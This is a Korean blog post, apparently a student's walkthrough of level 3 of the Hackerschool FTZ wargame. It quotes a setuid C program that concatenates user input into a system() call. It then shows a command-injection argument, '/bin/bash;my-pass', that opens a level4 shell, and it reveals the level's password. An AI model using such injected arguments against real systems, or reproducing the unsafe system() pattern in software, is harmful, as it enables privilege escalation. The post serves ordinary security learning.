[FTZ] level3

강보석·2021년 8월 7일
0

해커스쿨 FTZ

목록 보기
3/5

이번에 cat hint를 보니

'다음 코드는 autodig의 소스이다'라는 글과

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char**argv){
    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );
}

이를 이용하여 level4의 권한을 얻어라.

more hints.

  • -동시에 여러 명령어를 사용하려면?

  • 문자열 형태로 명령어를 전달하려면?

라는 글들이 있습니다.

대충 해석을 해보자면 argc가 2가 아니라면 종료를 시키고 2가 맞다면 cmd에 "dig @"와 argv[1] 그리고 "version.bind chaos txxt"라는 글을 넣고 cmd를 실행시킨다고 볼 수 있습니다.

그렇다면 우리의 목적은 argc의 값이 2가 되도록 하면서 argv[1]에 /bin/bash 등에 명령어를 넣으면 되겠죠.

find / -perm +4000 -user level4 2> /dev/null

을 입력하면 /bin/autodig라는 파일이 보입니다.

우리에게는 또 다른 힌트가 2개의 힌트가 있었습니다. 그 두가지 힌트를 더 참고하자면 strcat 명령어는 문자열이어야 하기 때문에 쌍다옴표(")로 감싸줘야 합니다. 그리고 두가지 명령어를 쓰기 위해서는 명령어 사이마다 세미콜론(;)를 넣어줘야합니다.

/bin/autodig "/bin/bash;my-pass"

를 써주시고 잠깐 기다려주시면 알아서 레벨4 권한의 쉘을 열고 my-pass를 입력해줍니다. 그래서 "suck my brain"라는 비밀번호를 얻을 수 있습니다.

이번 시간에도 c 파일이 나오긴 했지만 해킹 기술이라고 칭할만한 건 없었네요.

profile
안녕하세요. 컴퓨터를 공부하는 학생입니다.

0개의 댓글